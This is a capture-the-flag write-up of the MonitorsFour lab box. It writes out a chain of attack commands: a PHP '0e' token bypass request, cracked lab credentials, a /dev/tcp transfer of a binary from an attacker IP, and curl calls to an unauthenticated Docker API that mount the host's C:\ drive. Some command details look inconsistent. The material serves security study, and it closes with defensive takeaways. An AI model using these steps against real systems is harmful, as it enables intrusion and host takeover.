Pentest Notes – MonitorsFour Attack Chain

Date: 2025-12-10
Box: HTB — MonitorsFour (Pentest Study Note)

MonitorsFour – Full Attack Chain from .env Leak to Windows Host Takeover

A chained exploitation path: environment leak → PHP 0e-type juggling → admin credential recovery → Cacti RCE (CVE-2025-24367) → Docker container foothold → internal scan → Docker API abuse → host filesystem mount and root.txt extraction.
PHP MariaDB Cacti Docker Docker Remote API (2375) Linux Container → Windows Host
.env Info Leak PHP Type Juggling 0e Token Bypass MD5 Hash Cracking VirtualHost Fuzzing CVE-2025-24367

0. Summary

The full chain, step by step:

  1. /.env leakage reveals DB credentials and Dockerized architecture
  2. /user?token=0e1234 abuses PHP loose comparison for full user/hash dump
  3. Admin MD5 hash cracked → wonderful1
  4. Host-header fuzzing finds cacti.monitorsfour.htb
  5. Cacti admin login with recovered credentials
  6. CVE-2025-24367 Graph Template RCE → shell as web user inside Docker container
  7. fscan from container → Windows host 192.168.65.7 exposes Docker API on :2375
  8. Docker API used to launch a new container with C:\ bind-mounted
  9. New container reads /host_root/Users/Administrator/Desktop/root.txt → host root flag

From a single environment leak to full Windows host compromise – all pivoting through one Dockerized Cacti instance and an exposed remote Docker API.


1. Initial Web Attack – Directory Scan & Environment Info Leak

1-1. Directory enumeration

dirsearch -u http://monitorsfour.htb -x 404

Interesting endpoints discovered:

  • /.env (critical)
  • /login, /user, /admin, /administrator (403)

1-2. .env file exposure

DB_HOST=mariadb
DB_PORT=3306
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=f37p2j8f4t0r

This immediately reveals:

  • Application is running inside a Dockerized environment
  • Internal hostname mariadb in the same Docker network
  • Complete DB credentials leak (critical info disclosure)

2. PHP Type Juggling via 0e Tokens

2-1. Testing /user?token=

curl "http://monitorsfour.htb/user?token=AAAA"
{"error":"Invalid or missing token"}

Looks like a token-based lookup endpoint. Perfect candidate for loose comparison bugs.

2-2. 0e magic – abusing PHP loose comparison

Key request:

curl "http://monitorsfour.htb/user?token=0e1234"

Server response (truncated):

[
  {
    "id": 2,
    "username": "admin",
    "email": "[email protected]",
    "password": "56b32eb43e6f15395f6c46c1c9e1cd36",
    "role": "super user",
    "token": "8024b78f83f102da4f",
    ...
  },
  {
    "id": 5,
    "username": "mwatson",
    "token": "0e543210987654321",
    ...
  },
  {
    "id": 6,
    "username": "janderson",
    "token": "0e999999999999999",
    ...
  },
  {
    "id": 7,
    "username": "dthompson",
    "token": "0e111111111111111",
    ...
  }
]

Internally, the code is almost certainly doing something like:

$token   = $_GET['token'] ?? '';
$matches = [];

foreach ($users as $user) {
    if ($user['token'] == $token) { // loose comparison (==) 
        $matches[] = $user;
    }
}

echo json_encode($matches);

Because of PHP’s loose comparison rules:

"0e1234"           == "0e999999999"    // true
"0e543210987654321" == "0e1234"        // true
"0e111111111111111" == "0e1234"        // true

Any token shaped like 0e\d+ is treated as 0 when compared loosely, so a single request with token=0e1234 returns every account with a 0e-style token – including the admin record and all password hashes.


3. Credential Recovery – Cracking the Admin MD5 Hash

From the response, the admin password hash was:

56b32eb43e6f15395f6c46c1c9e1cd36

32 hex characters → classic MD5. Cracked with rockyou.txt:

56b32eb43e6f15395f6c46c1c9e1cd36 : wonderful1

Final credentials:

username: admin
password: wonderful1

At this point, the chain is already serious: an unauthenticated endpoint leaks all users, and a weak MD5 hash yields full admin access.


4. VirtualHost Enumeration – Finding the Cacti Panel

4-1. VHost fuzzing via Host header

ffuf -u http://monitorsfour.htb/ \
     -H "Host: FUZZ.monitorsfour.htb" \
     -w subdomains.lst \
     -fw 3

Result:

cacti  [Status: 302, Size: 0, Words: 1, Lines: 1]

Added to /etc/hosts:

10.10.11.98  cacti.monitorsfour.htb

4-2. Credential reuse on Cacti

Visiting http://cacti.monitorsfour.htb led to the Cacti login page. Reusing admin / wonderful1 (or marcus / wonderful1 depending on the challenge account) worked and granted full Cacti admin access.


5. CVE-2025-24367 – Cacti Graph Template RCE

The Cacti instance was vulnerable to CVE-2025-24367, an authenticated RCE via the Graph Template interface. In short:

  • Graph template fields are interpolated into RRDTool commands
  • Some fields (e.g., axis labels) are not properly escaped
  • Malicious input leads to RRDTool command injection
  • Which then leads to PHP code execution for the web user

5-1. Exploit behavior

  1. Login to Cacti with stolen admin credentials
  2. Use the PoC to locate an existing template (e.g., “Unix - Logged in Users”)
  3. Inject a payload into a template field that ends up in the graph command line
  4. Trigger graph generation to execute the payload

Typical payload chain (2-stage):

  • Stage 1: use curl to download a bash script from the attacker
  • Stage 2: execute the downloaded script to start a reverse shell

After running the exploit PoC, a shell landed as the web user inside the Cacti container:

www-data@821fbd6a43fa:/var/www/html/cacti$

6. Container Recon – Confirming Docker & Internal Layout

6-1. Network layout

ip route

default via 172.18.0.1 dev eth0
172.18.0.0/16 dev eth0 proto kernel scope link src 172.18.0.3

Signs that we are inside a Docker container:

  • Container IP: 172.18.0.3
  • Gateway (likely Docker host): 172.18.0.1
  • DNS pointing back to something like 192.168.65.7 (Windows host)

6-2. Uploading fscan via /dev/tcp

Because the container was minimal (no wget, nc, etc.), file transfer was done using /dev/tcp:

# On Kali (attacker)
nc -lvnp 9001 < fscan

# Inside container
dd of=fscan < /dev/tcp/10.10.14.37/9001
chmod +x fscan

6-3. Internal scan from the container

./fscan -h 192.168.65.7 -p 1-65535

Key finding:

192.168.65.7:2375 open
[+] PocScan http://192.168.65.7:2375 poc-yaml-docker-api-unauthorized-rce

The Windows host exposes the Docker Remote API on port 2375 without authentication or TLS, which is essentially remote root over HTTP.


7. Docker API Abuse – Mounting the Host Filesystem

With full access to the Docker API from inside the container, the next step is to create a new container that mounts the host’s C:\ drive.

7-1. Listing images via Docker API

curl http://192.168.65.7:2375/images/json

Interesting images:

  • docker_setup-nginx-php:latest
  • docker_setup-mariadb:latest
  • alpine:latest

Reusing docker_setup-nginx-php:latest makes sense, since the environment is already known to work and has the necessary tooling.

7-2. Creating a malicious container with a bind mount

Example JSON payload for /containers/create:

{
  "Image": "docker_setup-nginx-php:latest",
  "Cmd": ["cmd", "/c", "type C:\\Users\\Administrator\\Desktop\\root.txt"],
  "HostConfig": {
    "Binds": [
      "c:/:/host_root"
    ]
  }
}

From the container shell:

# Create the container
curl -s -X POST \
  --unix-socket /var/run/docker.sock \
  -H "Content-Type: application/json" \
  -d @create_container.json \
  http://192.168.65.7:2375/containers/create -o response.json

# Extract container ID and start it
cid=$(grep -o '"Id":"[^"]*"' response.json | cut -d'"' -f4)
curl -X POST http://192.168.65.7:2375/containers/$cid/start

Once started, that container has /host_root mapped to the host’s C:\ drive. From within that container, grabbing the Windows root flag is trivial:

type /host_root/Users/Administrator/Desktop/root.txt

8. Security Takeaways

Weakness Impact in This Chain
.env exposure Full DB credentials and infrastructure hints (Docker, internal hostnames)
PHP type juggling Single request → multi-user dump (including admin hash) via 0e tokens
MD5 password hashing Admin password recovered instantly with common wordlists
Hidden VirtualHosts Admin Cacti panel discovered via Host-header fuzzing
CVE-2025-24367 in Cacti Authenticated RCE → shell inside Cacti Docker container
Unauthenticated Docker API Arbitrary container creation on the Windows host with bind mounts
Host drive bind mount Direct read access to C:\ including Administrator’s desktop and root.txt

Overall, a small initial misconfiguration (/.env exposure) cascaded through multiple layers: application logic, weak cryptography, misconfigured admin services, and finally unsafe container orchestration. Each layer was “realistic” on its own; chained together, they led straight to full-domain compromise.


9. Key Takeaways

  • Environment file exposure is catastrophic. Credentials + internal architecture leaks enable rapid escalation.
  • PHP loose comparison remains a real-world authentication risk. 0e-style tokens completely bypassed filtering logic and revealed all users.
  • Weak password hashing (MD5) collapses security instantly. Admin privileges were obtained with trivial dictionary cracking.
  • VirtualHost enumeration is a required part of recon. Hidden admin services (like Cacti) often live behind Host headers.
  • CVE-2025-24367 in Cacti provides direct RCE with admin credentials. Template injection allowed arbitrary code execution inside the container.
  • Containers are not security boundaries. Internal scanning exposed the Windows host and additional attack surface.
  • Docker Remote API on :2375 = full host compromise. Bind-mounting the host drive enabled full file-system access, including root.txt.

Overall: a single config mistake cascaded into full control of the Windows host.